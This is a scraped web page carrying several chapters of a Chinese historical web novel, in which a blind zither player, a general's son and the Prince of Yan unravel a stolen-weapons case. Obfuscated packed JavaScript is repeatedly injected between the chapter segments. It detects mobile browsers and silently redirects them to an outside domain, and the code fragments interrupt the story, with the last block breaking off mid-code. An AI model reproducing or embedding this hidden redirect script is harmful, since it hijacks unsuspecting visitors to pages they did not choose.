;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533400|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街角顽童的指引去医馆买了几帖药。 三帖服下后，手头已是捉襟见肘。 若是再谋不到生计，这琴真要保不住了。 翠云阁既生过事端，若嵁轻易不敢再赴，索性就着近处入了青石巷陌，踏入那间悬着“醉忘忧”酒幡的酒肆。 若嵁裹紧后脑，挟琴折入酒肆幽僻后巷，由伙计趋前引路，落座于桐木琴台。 指尖抚过新换的琴弦，劣等丝线粗粝的毛刺扎进了甲缝。她并未在意，拇指浸在冷茶里濡湿后一寸寸拧紧琴轸。 “可惜掌柜的只肯出三钱银子，连松香都得刮竹屏风上凝的旧蜡替代。” 叮—— 若嵁反手叩响雁足，左手虚按七徽半，借酒客划拳声掩去羽调偏差。 “若先生，东厢三席特点了《乌夜啼》。”伙计殷切地拂拭桐木琴台，“那位贵人可是专候先生的清音。” 若嵁拭净积在岳山处的尘霜，起势演奏，直待《梅花弄》、《鹤鸣九皋》次第奏罢，方在后院隅角寻得半席休憩。 “苍梧城盛行丝竹之声，倒教我这张琴搏得了三分薄名。”若嵁喃喃。 此时案头写就的曲牌名录，竟已摞至三寸余厚。 “霈然兄！” 赤金发冠撞开珠帘的声响比人声早到三息，裹着马革靴特有的硬底触地声。 若嵁听闻身侧小二唤了声“廖公子”，不着痕迹地往里偏了半寸。 霜茧抚过琴底的蚌灰漆面，倏尔触得“霈然”二字，似是篆在焦尾琴上多年的旧铭。 “你可是又得了甚遗谱？一连几日未能觅见你的踪影，今日可算让本公子逮到了。” 若嵁未及避开，来人手中的折扇已然叩在肩头。 “廖公子。” 她笑中带涩，嘴唇翕动。 “怎的还是这般与我见外？你我大可以字相称。” 廖怀“啪”的一声合上青玉扇骨，朝若嵁觑了一眼。 烛影里她一袭青衫，素绢缚眼，更映出憔悴病容。 “竟是病了？怪我怪我…霈然兄不妨稍等片刻，我即刻让小厮去请府医来。” 若嵁忙拦下：“多谢公子美意。前些日子在翠云阁伤了脑袋，现下已无大碍。” “那遭殃之人竟是你？！”廖怀捶案。 守备之子争风伤人虽被遮掩，在官宦子弟中却不算秘密，他亦有所耳闻。 “你且等着。小爷我这就带人去掀了他家的青石板！”廖怀气急败坏地抽出腰间佩刀，不慎与琴案刮出了半声涩响。 若嵁觉出其间的凝滞，唇角掠过三分戏谑。 “廖公子可知石板重几何？”她用琴弓背面拦住刀刃，“依公子腕力，只怕连守备府的门环都够不着。” 廖怀不以为耻，长刀铮然入鞘，反手抄起清酒仰颈饮尽，残液沿着锦衣淌落，渗进了琴案上堆叠的盐渍杏仁里。 若嵁鼻尖掠过一丝焦苦：“公子身上的火绒草汁淬过烟墨的气味…戍时我来忘忧酒肆，路过西南角楼，换防的火盆烧的正是此物。” 指尖抚过琴额冰纹，声线渐弱：“至于这槐胶——似是官府为卷宗防蠹的老方子。公子是从城防司而来？” 廖怀蓦地顿住，几滴酒液洒在案上，映出眼底惊涛：“好个七窍玲珑心！若分我半分，也不会日日被阿爷罚抄兵法。” 若嵁失笑。 蘸着凝成胶质的酒液修补琴尾，面向虚空开口：“公子寻我，当不是为听这半阙清商？” 5. 碣石调·幽兰（四） “果真瞒不过你。” 廖怀不由叹服，顺势倾身贴近。若嵁肩颈微颤欲躲，他已抢先半步抵住耳畔，低语道： “霈然兄有所不知，我那庶弟竟将阿爷的断岳刀法改了招式！出了好大一个风头。”语罢愤懑不减，生生捻碎了掌心的杏仁。 “昨日校场比试，他还故意挑飞了我的刀…若是再这般下去，我能得几分空闲学琴？你快与我出个主意！” 若嵁怎记得那些兄弟阋墙的旧事，又恐他瞧出甚破绽，遂掩住心中躁意，张口敷衍道： “公子何不勤练武艺，令尊必会宽慰。” 二楼西侧雅间传来甲片碰撞声。 若嵁耳力极敏，凝神间捕捉到这一线嘈嘈之音。除此之外，在这满室椒醑炙香里，又嗅见龙涎香裹挟硝石，间杂着丝丝缕缕的血腥气。 挥袖扫开浊气，要去细辨，却被廖怀骤大的声音打断。 “霈然兄这主意不够痛快！”廖怀撕开缂丝护腕，露出被刀柄磨红的手掌，“不如上回你教我往廖晖的箭囊里塞……” 此番对白，若嵁已探出与廖怀的亲疏。 流放不过一载便已脱离流籍，只怕与身前的官宦子弟脱不了干系。 当即不再刻意避讳，指尖在案面划出“祭器”字样：“春祭将至，若庶公子供奉的越窑盏猝然碎裂……” 大开的雕花窗沿，玄甲在身的燕王周放离攥紧酒盏，收拢五指，瓷盏骤然碎裂。 一个时辰前暗卫来报：地字房有异族细作通谋。 现下细作已然伏诛，竟恰好撞见这场蛇鼠之谋。 “蝇营狗苟之辈！” 零碎瓷片纷落，扎进两具瘫软的血躯之中。 他们早已陷入昏迷，但残存的痛楚仍在肌理游走，唇间不时溢出几声破碎的喘息，染血的胸膛随着断续的呼吸起伏。 “带回去。” 皱缩的丝帕被草草缠裹在狰狞伤口上，周放离起身下楼。 甲胄挟着霜风破开珠帘，若嵁鼻尖翕动，再次捕捉到似曾相识的气味。 “好个‘器毁不诚’，琴师是要教廖怀学妇人碎盏邀宠？” 周放离右手持剑柄挑起若嵁下颌，压向喉间，“月前你尚且用‘五九飞渡局’逼得棋院掌事吐血，勉强可赞一声恃才而傲。如今倒是尽显下作手段。” 剑柄紧压“喉结”，那处皮肉突突狂跳。若嵁额角青筋暴起，冷汗顺着脊沟滑下，浸透两层中衣，咽喉亦是刺痛不已。 她蓦地收拢五指，徒劳扣抓着颈间桎梏，待发现身前的禁锢纹丝不动，倏尔卸了力道，反手将琴额重重抵住对方腰部。 吐字虽艰涩却格外冷静： “阁下既知五九之数，该明白‘飞渡’需弃三子。就像您现在压着我的命关，反暴露了自身左肋的空门。” 龙涎香混着铁锈味在丈许之地升腾，胜负悬殊的局面，竟被廖怀从猎猎剑光与崩裂的冰纹断弦间，窥见某种胶着的杀机。 周放离抵住剑柄，拨动指节抽出半寸，剑身的花纹映入廖怀眼帘。 他瞳孔骤缩，织金箭袖横插在两人之间，心急火燎道：“王…大人容禀！卑下疑心庶弟廖晖的蹊跷行径。苦于无证…才向…才向霈然兄讨要计谋牵制一二。” 往日周放离也曾听闻廖参将对嫡长子耽于音律，疏于武学的不满，但对其品行未有批判，或可一信。 遂将剑收入鞘中。 若嵁紧绷的身体陡然放松，感知霎时扩散开来，方才被生死危机压制的细微声响此刻清晰起来—— 屏风后、梁上，至少还有三道收敛的气息未曾离去。 不由为方才的鲁莽暗自心惊。 “若你所言非虚，今日作罢。”周放离撩开门帘，碾碎一地枯叶。残阳斜劈过他的眉弓，淬上层凌冽刀锋，“若存半分虚妄……” 骏马嘶鸣破开暮色，踏碎未尽尾音。 周放离身上特有的气息消散。 片刻后，若嵁攥紧琴囊，试探问道：“那位贵人腰间可佩着螭首衔珠制式的玉带钩？” “你晓得……”廖怀扯开窗柩，借着呼啸的朔风强压住颤音，“他可是连使团都敢屠的活阎王！当年漠北一战，率五百轻骑直捣鞑靼王帐，先帝抚其背赞‘此子最肖朕’。你竟以性命相胁，当真是不要命了？！” 玛瑙扳指磕在琴轸上铮然作响，钦佩油然而生：“霈然兄，昔日我只敬你零落成泥犹自不改的风骨，如今你这般胆识令我好生敬佩！” 若嵁未置可否，反复摩挲着琴尾新裂的断纹。 “我与王爷可有过节？” “年前在清茗阁，棋院那老匹夫辱人父母早亡。”廖怀压低嗓音，“你便与他对赌，用盲棋连破他五局，逼得他呕血三升。偏巧燕王来查军械失窃案，撞见你嗤笑‘落子无悔’，强逼他斟茶道歉……” 若嵁搭在弦上的食指蓦地绷直，丝弦勒进骨节。 原来如此，她与燕王有大过节。 窗外夜枭啼鸣，若嵁轻拢慢捻，将琴弦调至“慢宫”调，平复下纷杂的思绪，状似无意道： “廖公子方才握刀时，刀刃离鞘三寸又收回。” “我岂敢在燕王面前拔刀！”廖怀霍然起身，撞得案几晃动，“总归避其锋芒方为上策。” “公子说笑，王爷乃天潢贵胄，在下不过草芥，何来机缘得见？”若嵁摸索着将琴收入囊中。 正请辞，临了又抵住门扉，状似无意道，“府上可曾丢过军械？” “霈然兄连卜算也精通不成？”廖怀自知失言，后撤半步。 “公子荷包浸过甘遂粉，此物遇铁锈则泛青斑，生异味。”她顿了顿，继续道，“方才我的指腹触及王爷剑柄，上面似有凹陷刮痕。又从他身上嗅到硝石味，当是刚从兵器库而来。听闻年前出的军械失窃案尚未破，思及公子家世……” 廖怀唯恐她推断出更多隐秘，当即踉跄后退，撞得窗棂作响，落荒而逃。 留若嵁驻足暗忖：守备之责，似正属军械调度分内之职。 待她归家，朔风骤紧，腐叶沤烂的酸气混着土腥漫过鼻尖，西南角传来黏稠液体的滴落声。 若嵁屈膝蹲下，俯身摸索白山茶的花盆边缘，苔藓湿滑裹住指尖。她短暂忽略粘腻触感，起身回屋。 这赁来的三进院落，一人一室已是奢侈，隔壁那厢可挤着祖孙七口。院中晾晒的粗麻衣料纠缠不清，灶台边飘来的闲言碎语不觉入耳。 家长里短，是非口舌，不外如是。 她抱着花盆推开门扉，截断了墙外那片指指点点的声浪。 白日燕王甲片刮擦声在脑中复现，若嵁不曾错过对方拨动剑柄时的半息凝滞。将书写下的宣纸掷向炭火中，火舌舔舐“旧伤”二字。 焦味散去，鼻尖唯余泥土的腥气。 哗啦—— 骤雨如期而至。 若嵁伏于琴上，十指舒展如兰。 焦尾古琴能安然留存，一年之内即脱离流籍，有自己的玲珑手段不假，亦有公子廖怀在暗处斡旋周全。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533401|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这纨绔公子虽不通书画，偏嗜琴音缭绕，出身将门却无骄矜之气。分明能轻易寻得她踪迹，偏要耐着性子候在茶寮。 如此赤子心性又进退得宜，或可一交。 若嵁忆及那青年拍案怒起、佩刀险些卡入案隙的窘状，唇角不觉微扬。 俄而唇线渐平，眸底愁云复聚。 做琴师偏安边城原无不可，奈何重重隐秘如悬剑在顶，危局未解反添惶然。 但见燕王今日行事：剑未出鞘已迫人喉间，厌弃之色昭然。 若嵁竟未感半分意外，仿佛燕王的喜怒皆在预料之中。这份熟稔，为的究竟是来处，还是归途？ 看来，这位北境藩王必是关键。 然而，与其奢谈和解，不若作利益交换。 这筹码，尚需窥得他心中所求。 若嵁指腹轻抚焦尾断纹，思绪如坠冰湖渐次清明，不由低眉自哂： 茶楼酒肆、秦楼楚馆之流，最宜织罗消息脉络。何必好高骛远，选在此时攀附燕王。 尾指抵住琴腹的雕花凸起处，往右旋了半寸，乌木暗格缓缓滑开，那柄短刃上赫然刻着“乙未军械监”的字文。 刃锋斜映炉中赤炭，寒光犹在指间流连。同一片沉沉迷夜下，二十里外燕王别院的书房爆开灯花。 周放离剖开密函火漆，案几上的烛泪正沿着刀镡逶迤而下。 刀刃挑起第一封密报： 「参将次子廖晖，枕中藏玄铁狼牙符，与永昭十四年剿匪存档吻合，疑似‘黑云寨’响马头目遗孤。」 周放离指腹错开下方拓印的狼牙符，暗道：他二人竟未曾妄言，莫非本王当真苛责那瞎子不成？ 烛火在周放离指尖爆出噼啪声响，他反手将密报拍在案几上，刀鞘重重压住纸角。 旧案未破，新案复起。 积压的焦躁在周放离喉头滚了滚，最终化作一声冷笑：“大同府的官吏是纸糊的不成。” 送信的亲卫眼见王爷拇指无意识摩挲着剑柄螭纹，不着痕迹地后退半步。 果然，下一刻，青瓷茶盏擦着耳畔砸向梁柱，飞溅的瓷片在月光里折射出周放离眼底寒芒，“如今死灰也妄想复燃？” “查三件事。”周放离戾气微敛，炬目钉在密报处，厉声吩咐道，“黑云寨当年为何惊动先帝亲自下令剿灭？领兵的是谁？藏了这么多年的暗棋重现，所谋为何？” 亲卫领命欲退，又被一句“慢着”定在原地。 “派人盯住廖晖，他在府上有何异动皆报于本王。若是与外族勾连，就地格杀！” 亲卫领命告退，暗自腹诽：官宦子弟无令格杀，只怕朝中弹劾王爷的奏章又要…… 窗外更鼓敲响三声。 周放离下意识揉了揉左腹。 琴额坚顽，日间盲眼琴师抵住此处的力道虽不重，现下怕是早已洇出青紫。 屋外风雨嘈切错杂，他眼前浮起那人骨节分明的手—— 瘦削指节隐在褴褛袖间，偏生压着一段嶙嶙清骨。 这般人物，孤傲独绝。 喟叹不过须臾。 流放地有多少鳞甲蒙尘的困龙在盘踞幽暗，连呼出的白雾都淬着不甘。虎落平阳、蛟龙失水，沦落至此，又有何不同？ 疾雨奔雷，夜风卷起案头拆开的密报一角： 「若嵁，原刑部仓科主事若怀兴独子。昭永三十二年因父贪墨军饷流放，户籍载‘目不能视，居滁州老宅。现查，若氏祖屋已于弘治元年毁于山洪。」 6. 碣石调·幽兰（五） 霁色初开，乱云西卷。 骤雨已收，天穹如濯洗般透亮，檐角残溜断续敲打着青砖，一刃冷光自琴腹暗匣滑入若嵁掌心。 才从廖怀口中得知燕王调查军械失窃案未果，手中便出现了此案物证。前尘因果不明，令她不由对赎回玉佩多了几分迫切。 正盘算着如何从出手阔绰的参将公子身上谋些银钱，请柬已带着沉水香送至北城陋室的琴案。 “公子邀先生过府调弦。” 若嵁鼻翼微皱，嗅见廖府仆役靴底沾染着腐草与铁腥混杂的马粪气息，耳中又听得那双皮靴落足时虚实交替的脚步声。 自此推断，此人多半是随侍主家左右的亲随。廖怀待她这番情谊，倒比预想中更重三分。 马蹄碾过冻土发出声声闷响，若嵁垂首沉吟着廖怀的邀约，指节间那柄军器监特制的匕首转出幽幽寒光。 青帷马车在长街尽头停驻，仆役隔着锦帘唤过三声，若嵁方觉车舆已停。 盲杖点地，若嵁谢绝仆役的搀扶。 探过青石台阶，忽有寒珠斜穿密霭，滑入她的颈窝，沿脊骨一线游下，激得她浑身一颤。 直至若嵁驻杖转过游廊拐角，演武场传来刀剑交错的铿锵争鸣陡然劈开晨雾，连带震碎了脊骨里盘桓的寒意。 “霈然兄！这里。” 引路小厮将若嵁引向廖怀所在。 粗麻深衣掠过廊柱，衣衫后摆却被半截忍冬藤勾住。她信手扯断缠绕的麻线，步入青石亭中，在盂中净手后，方落座廖怀对面。 “公子，请琴一观。” 侍立的丫鬟抱琴上前，恭敬交给若嵁。 甫一入手，青桐琴身上镶嵌的螺钿牡丹与若嵁指腹相触，微觉硌手。 她掩过不适，信手捻拨，听得蚕丝弦发出呜咽的凝涩响动。 垂落的朱红流苏随她收手之势微微摇晃，穗尾拂过手背，酥酥地爬过一线痒意。 “公子既得此琴，莫任丝弦蒙尘。束之高阁不若时时操之，方能沁出山涧流水的清润响动。” 未得应答，若嵁蹙眉停下调校丝弦的动作，狐疑张望，“廖公子？” 那端的俊彦公子如梦方醒，挥退左右，掌撑下颌，低声道：“燕王今日登门。霈然兄，你说这廖晖平日里装得人模人样，难不成还真有其他牵扯不成？” “廖公子且安心，若是真要问罪——” 藏在怀中的匕首隐隐发烫，刃脊硌得若嵁肋骨生疼。若嵁兀自垂眸拨弦，十指间流淌的采茶调子如山涧般清冽，“此时燕王属军早该撞开贵府大门了。” “只盼他瞒下的事情，莫要牵扯到阿爷头上。” 沐浴着安抚曲调，廖怀攥住刀柄的指节力道渐松。 “燕王递帖子上门，恰说明非是为问罪。”长指扫过七弦，《清心咒》的澄明清韵自若嵁指间流转，朝堂制衡的暗潮却在滚拂绰注里翻涌。 “王爷总要顾及大同府十六卫所盘根错节，更有参将的门生故旧。他要的是杀威棒，不是断头台，公子且安心。” 冰弦余震未消，廖怀筋骨却已松透。 他斜倚朱栏，不成调的俚曲偶尔漏出唇齿，信手将沾了茶渍的书抛向对面：“你要的永昭年间大同府志。” 琴弦骤寂。 白缎下若嵁的眸底疑云暗涌，面上仍是一派沉静。既已应承，必有其因。虽记不起前尘旧约，但知这府志绝非闲笔。 “多谢！” 廖怀拂手，不欲遣丫鬟小厮复返，自酌香茗，含糊应道：“你且收下。” “在下眼盲，劳公子诵与山人听。”若嵁摆首。 她并非真盲，那重瞳叠影虽教眼前雾蒙蒙一片，到底还能辨得字迹轮廓。原可将府志卷回居所慢慢摸索，又怕这般行径横竖扎眼，倒不如教廖怀逐字念来。 受若嵁差遣，廖怀不见恼怒，反而喜滋滋地重又拿过那本泛黄书册，念道： “…永昭十四年秋，威远伯奉旨剿灭黑云寨。其地踞鹰愁崖，三面绝壁，唯鸟道盘纡通寨门。伯率劲旅强攻旬日，滚木落石如雨下，士卒多殒…”廖怀微顿，食指轻敲案面，“当年黑云寨如此势大，连戍卒也不敌？” “地势险峻，易守难攻，非士卒将领之过。” 廖怀颔首，扫过下文：“果真乌合之众！威远伯提议火攻，‘积薪焚寨，借风势破寨。’” 若嵁敛眉，不予认可：“火攻乃下策。” “我倒觉得这主意不错。一把火燃起来的烟尘，便能将匪众驱离，破出寨门之外。” 廖怀才翻过一页，便改了前言： “霈然兄果真洞若观火。行军司马陆逊之也曾劝谏威远伯：‘今值仲秋，草木枯焦，若纵烈焰，必延及百里苍峦。昔田单火牛破燕犹慎天时，况此莽莽林海乎？’这话前半段倒是好理解，便是怕起山火。这后半段的‘田单火牛’又是何意？” 若嵁正欲开口，忽觉颅内似有银针攒刺。恍惚见雪地中伸来一截嶙峋手臂，腕间系着褪色五色缕。 画面转瞬即逝，不及细究，恍惚有浓腥血气呛入肺腑。 “战国齐将田单诈降燕军，在牛角上缚兵刃，尾上缚苇灌油，以此为阵退敌。”若嵁从幻境中挣脱，以盲杖轻点廖怀靴尖，轻斥，“廖公子年少开蒙时，案头圣贤书卷怕是无缘亲近，倒让旁的脂膏香气勾了魂去。” 廖怀面庞微热，踹开脚边碎石，欲草草了之，然展卷愈读，心下愈发惊惶。卷轴所载，比他初见战场杀敌时更要骇人： “威远伯的火攻之策虽奏效，但损耗甚大。火势三日不绝，方圆三十里尽成焦土，寨中骸骨仍作挣扎状，焦臭弥月不散。如此人间惨剧，在大同府多年，我竟不知？！” “所谓春秋笔法，便是唯述克敌之喜讯，而讳言其间所耗之巨、所付之殇。” 她的嗓音裹着冷冽霜雪，掌心却悄然贴向心口，暗自抵住那柄紧贴胸口的匕首。 廖怀将书卷摔得啪啪作响，怏怏不忿道：“这究竟是何世道？威远伯经此一役，殊荣更甚，而那行军司马陆逊之却遭贬谪。” “廖公子可知，永昭三十二陈留陆氏一族已因谋逆获罪？” 朔风卷起若嵁缚眼的白纱，露出猝然压紧的苍白眉骨，以及那抹尚未成型便沉入潭底的嘲意。 “难怪念及‘陆逊之’三字耳熟得紧，原是前首辅。”廖怀面露钦然。 方才那话脱口而出，倒教若嵁自己先怔住了。过往记忆纷呈，待要捕捉，却如掬水中月影，徒留满掌寒凉。 “陆公早些年官场失意，连恶徒匪众的性命也不曾罔顾。谁能料到，老了反而攥着权位不肯放手，最后害得自家儿孙都跟着遭殃！” 廖怀将府志撂在案上，唏嘘叹道：“早便听闻陈留陆氏长孙陆岻才情过人，虽不通音律，却能复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533402|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原《幽谷》残卷。斯人已去，琴谱再无缘得见，着实可惜！” 枝头白梅忽而飘坠，擦过若嵁耳畔。 她翻腕截住，雪瓣在指缝间碾作尘泥，汁液染出几道淡绯痕迹。 怔忡间，残香萦绕，似是哪位故人袖底经年未散的温凉。 梅香漫过屋檐，渗入绮牖，携昼色浮漾于廖府正厅的青瓷案头。 门外靴声由远及近，白袍儒将方跨过门槛，便单膝点地，抱拳见礼：“末将参见王爷。” 风起帘卷，炉烟方袅，茶鼎已初沸。水雾扶摇逶迤至案后，笼住那一痕执盏的玄色孤影。 “素闻参将治军严明，贵府失窃的军械可曾寻回？” 隔着雾气，廖元清窥不见上位者的神色，唯见其啜饮的轮廓。 “当夜事发，末将已下令封锁城门三日，失窃军械却不翼而飞。解禁后，连月暗查无果。末将无能，还请王爷恕罪！” 自府上收到燕王拜帖，他便惴惴不安，如今车驾临门，悬心方落，唯待将功折罪。 周放离垂目转着掌中茶盏，釉面掠过半弧冷光。待瓷沿在指间转过整圈，才缓缓抬眸，唇角虽噙着三分弧度，眼底却未见笑意。 “军中盛传府上二公子有乃父之风。一手断岳刀法青出于蓝，在校场耍得虎虎生风？” 这话转得突兀，廖元清不明就里，只得硬着头皮应对：“王爷谬赞。犬子生性驽钝，唯于武学一途略有寸进之长。” “参将不必自谦，二公子本事了得…本王都只怕小瞧了他。” 燕王声缓气沉，无悲无喜，廖元清却不敢应承。思忖着可是长子顽劣，顶了次子的名头招摇过市，惹了王爷厌弃。 “末将长子廖怀性情乖张，故每有错不肯自承，反诬其弟之过。今后末将必严加管教，以正家风。” 瓷盏在掌心越转越急，周放离盯着茶汤上弥合的波纹，眼底已隐隐浮起不耐。 他幼时极受先帝宠爱，文韬武略皆由其亲自择师教授。若非征战沙场屡忤上意，行嗜杀之举，只怕京都的皇座上要换个人坐坐。 而参将廖元清偏帮庶子，更自污长子名声，实在有失父德。 周放离屈起指节叩在盏沿，青瓷脆响截断了他的话头。 “逆贼遗孤与将门之后，本王还是分得清的。却是不知，参将能否分清？！又如何剖释二十年前被剿灭的黑云寨头目的信物怎会出现在令公子的枕下？” 拓印着狼牙符的生宣纸，纷纷扬扬散落在廖元清的周身。 “这…这定是遭人构陷！”廖元清面如金纸，双膝重重落下，伏地叩首，“逆子年幼失母，罪臣对他向来多有看顾，知其秉性。他必不是犯上作乱之人，还请王爷明鉴。” “构陷？！”周放离骤然撂杯，飞溅的碎屑在廖元清颈侧划出一条血痕。 燕王亲卫适时上前，递上廖晖及其乳母与人同谋的证据。 周放离压着卷宗推至廖元清的身前。 待翻阅过后，那儒袍将军胸前鹤补子随着胸膛剧烈起伏，仿佛要振翅冲破这满室腥风。他的喉头滚着浑浊的痰音，嘶声道： “还请王爷看在末将也曾为大渝立下汗马功劳，留他一条活路。” 正跨过门槛的周放离脚步一顿，回望廖元清，嗤笑出声：“你若真有半分慈父心肠，不如查查你那早死的侍妾给你留的孩子究竟是生是死。” 7. 碣石调·幽兰（六） 至于廖元清听闻此噩耗后是何光景，周放离不欲窥伺。他驻足门首，遥望天穹。 但见府中庭院开阔，虽无繁花曲径之景致，但有荒草劲生在青石板缝间，自成一番生机。虬劲胡杨旁立，投下苍凉剪影，兵器架森然矗立，于烈日下泛着冷硬幽光。 空气中汗与铁锈的粗砺气息尚未散尽，偏又渗入一缕极淡的白梅清香。 循香望去，竟有一片梅林踞于院落深处。 周放离甫一踏入林间，即闻悠扬曲调飘来。 枝头寒梅在风中微颤，暗香随之浮动。琴音断续意连，似有还无，恰似梅影横斜，若有若无。 琴音虽渺，却余韵不绝，引人遐思。 不及探究谁人操之，周放离的玄氅拂过廊柱的忍冬藤，险些扯落半幅衣袖。他碾碎掌心的残叶，目光投向五丈外石亭—— 五陵公子慢啜香茗，盲眼琴师纤拢细捻。 周放离视线略过品茗的公子，凝在琴师低垂的螓首与拨弦的指尖。正要细观其风致，目光忽地一坠，触及她腰间的梅枝铜扣。 心神遽然震荡，脚下枯枝应声碎裂。 亭中的若嵁指下商弦轻颤，泛音泠泠，将将掩住那声几不可闻的足音。 “霈然兄的技艺又精进了几分。如今真正做到了‘大音希声’，令人回味无穷。” 一曲终了，若堪未曾应承廖怀的称赞，将头偏向西北方，惑然道：“除你我二人外，此处可还有人？” 廖怀虽不解其意，见她神色微动，便道：“可是府上的侍从惊扰到了你？让他们再退远些！” 若堪莞尔不言，回身之际，不慎撞到了近旁茶盏。她伸手欲扶，奈何目不能视，衣袖半幅尽湿。 春寒料峭，令她不由连打几个寒噤。 廖怀见状，关切道：“霈然兄大病初愈，快去更衣，可别又沾染上风寒病症。” “多谢。” 若堪遂向廖怀敛衽一礼，由廖怀指派的小厮引着，往耳房去。 廖怀瞧着她远去的背影，胡乱扫过几线丝弦，喃喃道： “姓柳的那厮这一砸，倒教霈然兄多了几分人情味。从前看她如隔云端，少不得疑心那七品小吏如何教养出这般清贵的人儿。” 耳房内，若嵁接过小厮递来的锦衣，推拒旁人侍奉为她更衣。待人退去，她方摸索着自行换上。 她与廖怀身量相差不大，然他偏好奢华，服饰繁复，颇费工夫。若嵁正俯身整理腰带，眼前白纱因此歪斜。 待直起身扶正纱巾时，目光无意扫过面前铜镜，赫然觑见镜中映出一个高大身影，正静立在她身后，纹丝不动，不知已立了多久。 若嵁遍体生寒，竭力抑住战栗。直至冰冷的五指猝然扼上脖颈，她才惊觉，颤声喝问： “谁？！” 身后寂然无声，颈间力道却寸寸收紧，窒得她几欲昏厥。待若嵁身形瘫软，无法自立，那钳制的力道略松。 寒光乍现，划在那人左手上的伤口深可见骨，他却浑若未觉。 带伤的左手轻易夺下若嵁的匕首，顺势扯落她腰间那枚梅枝玉扣，语声淡漠：“令尊若怀兴当年旧案，乃受前首辅牵连所定。今陆氏满门倾覆，此物何故尚存于你手中？” 若嵁强撑着站起，咽了咽喉头，嘶声道：“我本不知此为陆氏旧物。几日前，有人欲杀我，正是他所遗。” 那人未置可否，兀自把玩着夺来的匕首，好整以暇地欣赏若嵁受惊后惨白的脸色。 蓦地，他眸中戾气横生，手持短刃猝然刺向她的双目，却在即将割破缚眼纱缎时堪堪停手，刃尖悬在眼睫前半寸。 “王爷若是不信，大可亲自查证。无故伤人性命，岂是君子所为？”若嵁强抑惊悸，声音微颤却清晰。 身份骤然被道破，周放离嗤笑出声：“眼虽盲，耳朵倒是灵光。本王竟是不知，阎罗殿前，何时也论起君子之道了？” “王爷独断，草民岂敢妄言？”语罢，若嵁改倚为坐，一副束手就擒的模样。 周放离再次笑出声，这次掺了几分真切。 “铜扣是旁人的，这把匕首难道也是？” 若嵁指尖轻颤，状似无意地抚平袖口褶皱，“王爷说笑。此乃草民在翠云阁遭难时随手拾得，实不知其主。” 这话纯属胡诌—— 她对翠云阁仅存的印象，唯余守备公子碾上琴身的那双云纹锦靴。但若能诱使燕王借此详查，倒也不失为一着。至于这匕首的来处，只怕真要去翠云阁走上一遭，方能知晓。 “先生，可是遇着麻烦？公子遣人来问了。” 门外侍从的声音，陡然刺破室内各怀鬼胎的沉寂。 “王爷，草民告退。若是王爷不嫌粗陋，这匕首……留着便是。”若嵁唇角微牵，转身欲走，肩头却被周放离探手按住—— 那枚冰冷的梅枝铜扣，无声无息落回她的腰间。 “刀刃锋利，若先生目不能视，仔细伤着。”周放离指腹摩挲着匕首，声线淡漠，“此物，本王留下了。” 未及若嵁反应，静室仅存伊影茕立。 肩头触感犹在，若嵁在原地怔了一瞬，门外侍从的催促声又起，带着小心翼翼的试探。 她缓缓吐出一口气，指尖无意识拂过那枚重归的梅枝铜扣，终是转身，步履如常地推门而出。 梅林深处，青石亭内 廖怀正信手拨弄着案上那张桐木琴，偶有几声错漏的音调逸散。听见脚步声，他指尖一顿，抬眼便见若嵁拾阶而来，面上已不见半分波澜。 “可算回来了。”廖怀面露欣喜，目光却在她略显苍白的唇色上停留一瞬。 若嵁未答，径直上前，素手轻轻覆上廖怀犹按在琴弦的手背，止住了那不成曲的声响。 “这半阙公子早便习得。若常抚错宫商，此后再弹亦成讹调。” 廖怀受教颔首。 二人一教一习，转眼已过申时，若嵁遂敛衽请辞。 车辙辘辘，碾碎朱门绮户的肃穆沉静，载着若嵁转入丝竹鼎盛的烟花巷。 翠云阁的三重飞檐挑着胭脂色晚云，缠金箔的竹帘后浮动着各色锦袍。楼内灯火莹莹，合欢脂粉的纷杂香气扑鼻而来。 喊堂的少年瞥见若嵁，立即堆笑迎上：“若先生好些时候没来！阁里姑娘们盼着学琴，眼都要望穿！奴给先生引路。” 他一面说，一面热络地伸手欲挽若嵁臂膀，却被不着痕迹地避开。 待二人渐次转过回廊，扶栏而上，堂内的议论声愈加鼎沸。 “听说运粮的驼队遭了北边蛮子的劫掠……” “你这消息可迟了。”茶商将酒盏往酸枝案上重重一撂，“昨日西市粟米价又涨三成，连装粮的草囊都要另算钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 